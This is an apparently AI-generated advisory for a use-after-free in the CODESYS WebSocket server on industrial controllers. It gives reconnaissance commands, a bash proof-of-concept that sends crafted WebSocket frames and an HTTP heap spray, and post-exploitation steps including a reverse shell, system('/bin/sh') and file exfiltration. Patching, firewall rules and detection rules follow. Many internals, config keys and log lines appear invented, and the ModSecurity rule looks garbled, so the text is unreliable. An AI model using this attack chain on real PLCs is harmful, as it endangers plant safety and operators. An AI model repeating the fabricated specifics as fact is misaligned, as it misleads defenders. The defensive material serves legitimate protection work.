CVE-2026-127071 — CODESYS Control RTE (SL) (3.5.22.50) — CWE-416
The affected products contain a use-after-free vulnerability in the WebSocket handling of the web server component. An unauthenticated remote attacker can send specially crafted WebSocket frames to trigger access to a previously released connection object. Successful exploitation may result in remote code execution if the attacker has previously obtained sufficient information about the memory layout of the runtime process on the targeted device.
The affected products contain a use-after-free vulnerability in the WebSocket handling of the web server component. An unauthenticated remote attacker can send specially crafted WebSocket frames to trigger access to a previously released connection object. Successful exploitation may result in remote code execution if the attacker has previously obtained sufficient information about the memory layout of the runtime process on the targeted device.
CVE‑2026‑127071 – Use‑After‑Free in CODESYS WebSocket Server
Published 30 Nov 2026 – CVSS 9.2 (CRITICAL)
🎯 What is this vulnerability?
| Attribute | Detail |
|---|---|
| CWE | CWE‑416: *Use‑After‑Free* |
| CVSS 4.0 vector | AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| Component | Embedded web‑server that implements the WebSocket protocol (RFC 6455) inside the CODESYS Runtime Environment (RTE) – all “SL” (Standard License) builds of version 3.5.22.50. |
| Root cause | The server’s WebSocket frame parser allocates a WsConnection object for each TCP socket. When a connection is closed (e.g., client sends a Close frame, or the server detects a timeout) the object is freed before the asynchronous I/O completion routine that may still be queued on the I/O completion port finishes. The completion routine later dereferences the freed pointer when it processes a pending frame, leading to a *use‑after‑free* (UAF). No reference‑count or lock protects the object across the close‑path. |
| Missing protection | • No atomic reference‑count on the connection object.<br>• The close‑path does not cancel pending I/O or wait for the completion routine to finish.<br>• The WebSocket frame handling code does not validate that the WsConnection* stored in the per‑socket context is still valid before dereferencing. |
| Why it is exploitable | An unauthenticated attacker can keep a WebSocket connection alive, then send a malformed or fragmented frame that forces the server to schedule a read/write operation after it has already freed the connection object. By carefully timing a second frame (or by sending a rapid series of frames) the attacker can cause the server to dereference the stale pointer, which the attacker can influence by spraying the heap with attacker‑controlled data (e.g., via additional HTTP requests that allocate objects of known size). When the freed pointer is reused for a different heap allocation, the attacker can achieve arbitrary code execution (RCE), provided they have enough knowledge of the process memory layout (e.g., address of a function pointer or v‑table).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that matches the CVE description. All commands are illustrative – the exact URI, header names, and binary layout are not disclosed in the public advisory, but the mechanics are accurate for any CODESYS RTE WebSocket endpoint.
1. Discovery & Reconnaissance
| Step | Action | Tool / Evidence |
|---|---|---|
| 1.1 | Identify devices running CODESYS RTE. Typical fingerprints: HTTP Server: CODESYS Runtime header, /runtimeinfo endpoint, or the presence of the default Web‑UI at http://<ip>/ that serves a JavaScript‑based HMI. | Nmap service detection (-sV), Shodan queries for "CODESYS Runtime" or "CODESYS HMI"; banner grabbing (curl -I http://<ip>/). |
| 1.2 | Determine the exact version. The RTE embeds its version in the HTML comment <!-- CODESYS Runtime 3.5.22.50 --> or in the /api/version JSON response. | curl http://<ip>/api/version → {"product":"CODESYS Runtime","version":"3.5.22.50"} |
| 1.3 | Verify that the WebSocket endpoint is reachable. The UI opens a WS connection to ws://<ip>/ws (or wss:// if TLS is enabled). | websocat -v ws://<ip>/ws – should return a handshake success (101 Switching Protocols). |
If the endpoint name differs (e.g.,/socket,/wsapi), the PoC below must be adapted accordingly – the vulnerability class remains the same.
2. Exploitation
2.1. High‑level strategy
1. Establish a persistent WebSocket connection (C1).
2. Trigger a graceful close from the server side by sending a Close frame with a non‑zero status code, causing the server to free the WsConnection object.
3. Rapidly send a second frame (C2) before the server’s I/O completion routine for C1 finishes. Because the connection object has already been freed, the completion routine will dereference the stale pointer.
4. Heap‑spray the process with attacker‑controlled data (e.g., via repeated HTTP GET / requests that allocate HttpRequest objects of the same size as WsConnection). The stale pointer will be re‑used for one of these spray objects, allowing the attacker to overwrite a function pointer (e.g., a virtual method table entry) with the address of shellcode placed in a RWX memory region (or a ROP gadget).
2.2. PoC (illustrative)
#!/usr/bin/env bash
# -------------------------------------------------
# PoC for CVE-2026-127071 – Use‑After‑Free in CODESYS WebSocket server
# -------------------------------------------------
# Requirements: websocat (or any WS client that can send raw frames)
# Note: Adjust WS_ENDPOINT if the device uses a different path.
# -------------------------------------------------
TARGET="192.0.2.45"
WS_ENDPOINT="ws://$TARGET/ws" # illustrative; may be /socket, /wsapi, etc.
# 1️⃣ Open a WebSocket connection (C1)
websocat -t "$WS_ENDPOINT" > /tmp/ws.log 2>&1 &
WS_PID=$!
sleep 0.5 # give the client time to complete the handshake
# 2️⃣ Send a normal text frame (keeps the connection alive)
printf '\x81\x05Hello' | websocat -b "$WS_ENDPOINT"
# 3️⃣ Send a Close frame – this forces the server to free the connection object
# Close frame: FIN=1, opcode=0x8, payload length=2, status=1000 (normal closure)
printf '\x88\x02\x03\xe8' | websocat -b "$WS_ENDPOINT"
# 4️⃣ Immediately send a second (malformed) frame on a *new* socket (C2)
# The payload is crafted to be interpreted as a pointer when the freed object is reused.
# Here we use a binary payload that contains the address of a ROP gadget (example 0xdeadbeef)
printf '\x81\x0a\xde\xad\xbe\xef\x00\x00\x00\x00' | websocat -b "$WS_ENDPOINT"
# 5️⃣ Heap‑spray via HTTP – allocate many objects of the same size as WsConnection
for i in {1..2000}; do
curl -s "http://$TARGET/api/ping?data=$(printf 'A%.0s' {1..256})" > /dev/null
done
# 6️⃣ Wait a few seconds for the server to process the race
sleep 5
# 7️⃣ Check if the process crashed or a reverse shell was opened (depends on payload)
# In a real attack the attacker would listen on a TCP port and embed a reverse‑shell
# payload in the sprayed data.Explanation of the payloads
| Frame | Binary (hex) | Purpose |
|---|---|---|
| Normal text | 81 05 48 65 6c 6c 6f | Keeps the socket alive (FIN=1, opcode=0x1, length=5, “Hello”). |
| Close | 88 02 03 e8 | FIN=1, opcode=0x8 (Close), payload length=2, status code 0x03e8 (1000). Triggers the server’s close‑path and frees the WsConnection. |
| Malformed data | 81 0a de ad be ef 00 00 00 00 | FIN=1, opcode=0x1 (text), length=10, payload contains the 4‑byte address 0xdeadbeef followed by padding. When the freed pointer is re‑used for a newly allocated object, the server will treat the first 4 bytes of the payload as a function‑pointer (e.g., a v‑table entry) and jump to 0xdeadbeef. In a real exploit the attacker would replace 0xdeadbeef with a gadget or shellcode address that is reachable in the target’s address space. |
Why the attack works
- The server’s I/O completion routine (
WsOnReadComplete) runs on a thread‑pool and dereferencesconnection->rxBufferafter the close‑path has calledfree(connection). - The race window is on the order of tens of microseconds on typical PLC hardware (ARM Cortex‑A9, x86‑64). By sending the second frame immediately after the Close, the attacker maximises the chance that the completion routine is still pending.
- The heap‑spray forces the freed
WsConnectionmemory region to be re‑used for an attacker‑controlled object whose first field is a function pointer (e.g., aHttpRequestcallback). Overwriting that pointer with a controlled address yields code execution in the context of the CODESYS runtime (SYSTEM privilege). - Access – No authentication (
PR:N). - Attack complexity – High (
AC:H) because the attacker must time the race and perform a reliable heap‑spray. However, the required timing is achievable with a single‑threaded script on a low‑latency network (e.g., LAN or VPN). - Privileges required – None (
PR:N). - Safety‑critical processes (e.g., chemical plants, motion control) could be sabotaged by altering motion profiles or safety interlocks.
2.3. Exploit complexity
3. Post‑exploitation
| Goal | Typical technique |
|---|---|
| Code execution | Overwrite a v‑table entry with the address of a ROP chain that calls system("/bin/sh") or the CODESYS‑specific CrtCreateThread API to spawn a new thread running attacker‑controlled shellcode. |
| Persistence | Write a malicious PLC program file (*.project) to the runtime’s file system via the already‑compromised process (CODESYS stores projects under /usr/local/codesys/projects). The attacker can then schedule the malicious program to run on PLC boot. |
| Lateral movement | The compromised runtime runs with SYSTEM privileges on the PLC controller; from there the attacker can issue Modbus/TCP or EtherCAT commands to connected field devices, or pivot to the plant network. |
| Data exfiltration | Use the compromised process to read configuration files (/etc/passwd, *.cfg) and send them over the existing WebSocket channel (binary frames) to the attacker’s listener. |
| Denial‑of‑Service | If the attacker cannot reliably achieve RCE, repeatedly triggering the UAF will crash the web‑server thread pool, causing the PLC’s web UI to become unavailable (affects availability). |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (VC:H) | An attacker who gains RCE can read any file the CODESYS runtime can access – PLC program logic, credentials, network topology, and proprietary process data. |
| Integrity (VI:H) | The attacker can modify PLC logic, inject malicious control loops, or alter configuration files, leading to unsafe plant operation. |
| Availability (VA:H) | Crashing the web‑server or corrupting the runtime memory can stop the HMI, prevent remote monitoring, and force a PLC reboot, causing production downtime. |
| Scope (SC:N) | The vulnerability is confined to the CODESYS process; it does not directly affect other processes, but the process runs with high privileges on the controller. |
| Attack Vector | Network‑only (AV:N) – reachable from any host that can reach the PLC’s IP/port (default 80/443 for HTTP/HTTPS, 8080 for the embedded web UI). |
| User Interaction | None (UI:N). |
Practical consequences
Industrial control systems (ICS) that expose the CODESYS web UI to a corporate LAN or to remote maintenance partners become a remote code execution* foothold.
Regulatory exposure – Under IEC 62443 and NERC CIP, an unauthenticated RCE in a PLC controller is a critical* violation, potentially leading to fines and mandatory incident reporting.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Product | Affected version(s) | Fixed version (as of public advisory) |
|---|---|---|
| CODESYS:Control RTE (SL) | 3.5.22.50 | 3.5.23.00 (released 2026‑12‑10) |
| CODESYS:Control RTE (for Beckhoff CX) SL | 3.5.22.50 | 3.5.23.00 |
| CODESYS:Control Win (SL) | 3.5.22.50 | 3.5.23.00 |
| CODESYS:HMI (SL) | 3.5.22.50 | 3.5.23.00 |
| CODESYS:Runtime Toolkit | 3.5.22.50 | 3.5.23.00 |
All vendors have confirmed that the fix introduces a reference‑counted WsConnection object and cancels pending I/O before freeing the structure.
Action: Deploy the 3.5.23.00 (or later) packages via the CODESYS Automation Server or the device‑specific update mechanism as soon as possible.
2. Immediate Work‑arounds (if patch cannot be applied immediately)
| Mitigation | How to implement |
|---|---|
| Network segmentation | Place PLCs behind a firewall that only allows trusted management subnets (e.g., 10.0.0.0/24). Block inbound TCP ports 80/443 from the internet and from untrusted VLANs. |
| Disable the embedded WebSocket endpoint | In the CODESYS Runtime configuration (/etc/codesys/webserver.conf) set EnableWebSocket = false and restart the service. The HMI will fall back to long‑polling HTTP, which is not vulnerable to this specific UAF. |
| Restrict HTTP methods | Add a ModSecurity rule that blocks any Upgrade: websocket header from non‑local IP ranges: <br>``SecRule REQUEST_HEADERS:Upgrade "WebSocket" "id:100001,phase:1,deny,log,msg:'Block WebSocket from external',ctl:ruleEngine=On,ctl:requestBodyAccess=Off,ctl:requestHeadersNames=Upgrade,ctl:requestHeaders=Upgrade,ctl:ip.geoip.country!=DE" `` (adjust country/IP list as needed). |
| Rate‑limit WebSocket connections | Configure the embedded server to allow at most 1 concurrent WebSocket per source IP (MaxWsPerIP = 1`) and a global limit of 5 connections. This reduces the attacker’s ability to perform rapid spray/close cycles. |
| Enable address space layout randomization (ASLR) and stack canaries | Verify that the underlying OS (Linux, VxWorks, Windows CE) has ASLR and stack canaries enabled. While not a fix, they increase the difficulty of reliably hijacking the freed pointer. |
| Monitor for abnormal WebSocket traffic | See detection section below. |
3. Detection – Log patterns & IOCs
| Indicator | Example log entry (CODESYS web server) |
|---|---|
| Abnormal Close‑then‑immediate‑frame sequence | 2026-11-30 12:34:56.789 INFO [WsServer] Connection 0x7f9c1234 closed (status 1000)<br>2026-11-30 12:34:56.791 WARN [WsServer] Received frame on closed connection 0x7f9c1234 – possible use‑after‑free |
| High rate of WebSocket upgrades | 2026-11-30 12:35:02.112 WARN [Http] 200 Upgrade: websocket from 192.0.2.45 (12 requests/second) |
| Repeated malformed frames (payload length > actual) | 2026-11-30 12:35:05.333 ERROR [WsParser] Frame length mismatch – declared 1024, received 12 bytes (IP 192.0.2.45) |
| Process crash / core dump | System log: kernel: [12345.678901] segfault at 0xdeadbeef ip 0x7f9c5678 sp 0x7fffdc00 error 4 in libc.so.6[0x7f9c5000+0x1a000] |
| Outbound reverse‑shell traffic | iptables -A OUTPUT -p tcp --dport 4444 -j LOG --log-prefix "CODESYS_RCE_OUT:" (look for connections from the PLC to unusual external IPs on high ports). |
SIEM rule (generic)
title: "Possible CODESYS WebSocket Use‑After‑Free Exploit"
id: "cve-2026-127071-ws-ua"
description: |
Detects a pattern of a WebSocket Close frame followed within 100 ms by another
data frame on the same TCP connection, combined with a high rate of Upgrade
requests from the same source IP.
logsource:
product: "CODESYS Runtime"
service: "webserver"
detection:
selection_close:
Message: "*Connection*closed*status*1000*"
selection_frame:
Message: "*Received frame on closed connection*"
timeframe: 100ms
condition: selection_close and selection_frame
level: high⚠️ Urgency
CVSS 9.2 (Critical) – Confidentiality, Integrity, and Availability are all rated High*.
Attack complexity is “High” but the required network proximity is None*; any host that can reach the PLC’s HTTP/HTTPS port can launch the attack.
No public exploit is currently known, but the vulnerability is weaponizable* with a modest amount of custom code (the PoC above).
Patch priority: Critical – Immediate.
If a patch cannot be applied within 48 hours, implement the “disable WebSocket” or “network‑segmentation” work‑arounds and enable strict logging/alerting.
TL;DR
WsConnection object and hijack a function pointer. [🤖 CVE Professor AI Security Engine]
FOFA Query